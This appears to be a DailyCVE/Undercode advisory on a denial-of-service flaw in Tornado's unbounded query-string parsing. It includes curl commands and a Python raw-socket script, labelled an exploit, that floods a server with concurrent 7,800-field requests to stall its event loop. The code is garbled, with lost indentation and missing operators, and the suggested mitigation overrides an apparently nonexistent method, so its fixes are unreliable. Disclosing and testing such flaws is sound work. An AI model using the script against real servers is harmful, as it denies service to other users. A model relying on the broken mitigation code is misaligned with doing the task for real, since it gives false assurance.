Tornado, Unbounded Query String Field Parsing, CVE pending (Medium) -DC-Oct2026-2689

Listen to this Post

Tornado is a Python web framework and asynchronous networking library. In versions prior to 6.5.9, the `HTTPServerRequest.__init__` method in `tornado/httputil.py` parses the URL query string using `parse_qs_bytes()` without passing a `max_num_fields` parameter. This parameter, originally added to urllib.parse.parse_qsl, allows frameworks to bound the number of fields parsed from a query string or request body.
The sibling POST-body parsing path, parse_body_arguments, received a `max_num_fields=1000` cap in version 6.5.8 (commit 8d6363ed) explicitly to bound parsing cost. The query-string path, however, was not updated in the same release. Both call sites funnel through tornado.escape.parse_qs_bytes, a thin wrapper over urllib.parse.parse_qs, which is exactly why the `max_num_fields` parameter exists upstream. The fix was applied only to the body path; the query-string path was missed.
The request line and headers together are capped at `max_header_size` (default 65536 bytes), so the input is not literally unbounded. Nevertheless, a single ~64KB request line can carry thousands of short `key=value` pairs, far beyond the 1000-field limit that the maintainer judged appropriate for the structurally identical body case.
An attacker can send a GET request whose query string is packed with thousands of short fields (e.g., k0=1&k1=1&...&k7799=1, approximately 61KB), fitting comfortably under max_header_size. No authentication, cookies, or prior state are required. Tornado accepts and parses this with no field-count cap, unlike the equivalent POST-body request, which is correctly rejected with a 400 once more than 1000 fields are present.
Parsing thousands of fields is CPU work performed synchronously inside Tornado’s single-threaded IOLoop. Several such requests in flight concurrently stall the event loop, delaying processing of all other connections on that loop, not just the attacker’s own request. This is an availability concern with no confidentiality or integrity impact. The vulnerability affects all Tornado servers and applications because it triggers on every request with a query string, independent of application or handler logic.

DailyCVE Form:

Platform: Tornado
Version: < 6.5.9
Vulnerability: Query string DoS
Severity: Medium
date: 2026-09-15

Prediction: 2026-08-07

What Undercode Say:

Analytics

Generate a 7800-field query string payload (~61KB)
python3 -c "print('&'.join([f'k{i}=1' for i in range(7800)]))" > payload.txt
Send as GET query string (vulnerable path, no field cap)
curl "http://127.0.0.1:8888/?$(cat payload.txt)"
Send as POST body (fixed path, max_num_fields=1000 applies)
curl -X POST -d @payload.txt "http://127.0.0.1:8888/"
Local verification against unmodified v6.5.8
import tornado.web
import tornado.ioloop
class MainHandler(tornado.web.RequestHandler):
def get(self):
self.write("ok")
app = tornado.web.Application([(r"/", MainHandler)])
app.listen(8888)
tornado.ioloop.IOLoop.current().start()
Measure per-request parse cost (baseline vs. 7800-field query string)
ab -n 100 -c 1 "http://127.0.0.1:8888/?a=1"
ab -n 100 -c 1 "http://127.0.0.1:8888/?$(cat payload.txt)"

Exploit: (Educational Purposes!)

Concurrent event-loop stalling test (raw sockets, isolating server-side stall)
python3 - <<'PY'
import socket, threading, time
payload = "?" + "&".join([f"k{i}=1" for i in range(7800)])
host, port = "127.0.0.1", 8888
def probe():
s = socket.create_connection((host, port))
s.sendall(f"GET /?a=1 HTTP/1.1\r\nHost: {host}\r\nConnection: close\r\n\r\n".encode())
t0 = time.time()
s.recv(1024)
return time.time() - t0
Baseline: 10 sequential probes with no load
baseline = [probe() for _ in range(10)]
print(f"Baseline avg: {sum(baseline)/len(baseline)1000:.2f}ms")
Load: 5 concurrent 61KB/7800-field requests
threads = []
for _ in range(5):
t = threading.Thread(target=lambda: (
socket.create_connection((host, port)).sendall(
f"GET /{payload} HTTP/1.1\r\nHost: {host}\r\nConnection: close\r\n\r\n".encode()
)
))
t.start()
threads.append(t)
Probe under load
loaded = [probe() for _ in range(10)]
print(f"Loaded avg: {sum(loaded)/len(loaded)1000:.2f}ms")
for t in threads:
t.join()
PY

Protection:

Upgrade to the patched version
pip install --upgrade tornado>=6.5.9
Temporary application-level mitigation (before upgrade)
Wrap the IOLoop's request parsing or use a reverse proxy to reject
query strings exceeding a field-count threshold.
import tornado.httpserver
class BoundedHTTPServer(tornado.httpserver.HTTPServer):
def _parse_query(self, query):
if query.count("&") + 1 > 1000:
raise tornado.httputil.HTTPInputError("Too many query fields")
return super()._parse_query(query)

Impact:

All Tornado servers and applications are affected. An unauthenticated, unprivileged remote attacker can measurably degrade response times for all other clients sharing the same IOLoop, using a small amount of bandwidth and no special conditions. This is an availability/DoS concern; no confidentiality or integrity impact.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top